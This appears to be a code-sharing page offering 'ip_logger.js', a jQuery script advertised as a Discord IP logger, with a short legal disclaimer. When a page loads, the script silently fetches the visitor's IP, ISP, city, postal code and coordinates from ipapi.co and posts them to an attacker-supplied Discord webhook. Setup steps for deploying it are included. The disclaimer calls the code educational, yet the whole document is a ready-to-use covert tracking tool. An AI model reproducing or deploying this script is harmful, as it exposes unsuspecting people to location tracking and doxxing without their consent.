BACK

DISCORD_IP LOGGER

Critical

⚠️ LEGAL_DISCLAIMER_&_USAGE_PROTOCOL

This source code is provided for educational and authorized diagnostic purposes only. Unauthorized interception of network data or tracking of users without explicit consent is a violation of privacy laws. J_PROJECTS accepts no liability for misuse.

js/ip_logger.js
ENCODING: UTF-8 DEPENDENCY: JQUERY
/* 
 * SETUP_PROTOCOL: 
 * 1. Replace PLACEHOLDER with active Discord Webhook URL. 
 * 2. Deploy on static node with jQuery dependency linked.
 */

$(document).ready(function() {
  // Capture node metadata via IPAPI interface
  $.get("https://ipapi.co/json/", function(data) {
      
      // Construct Discord Payload
      var formattedData = "**IP: **" + data.ip + "\n" +
                          "**Network: **" + data.network + "\n" +
                          "**Version: **" + data.version + "\n" +
                          "**ASN: **" + data.asn + "\n" +
                          "**ISP: **" + data.org + "\n" +
                          "**City: **" + data.city + "\n" +
                          "**Postal Code: **" + data.postal + "\n" +
                          "**Region: **" + data.region + "\n" +
                          "**Country: **" + data.country_name + "\n" +
                          "**Latitude: **" + data.latitude + "\n" +
                          "**Longitude: **" + data.longitude + "\n" +
                          "**Timezone: **" + data.timezone + "\n";

      // Execute Uplink
      $.ajax({
          type: "POST",
          url: "https://discord.com/api/webhooks/your-webhook-url",
          data: JSON.stringify({ content: formattedData }),
          contentType: "application/json"
      });
  });
});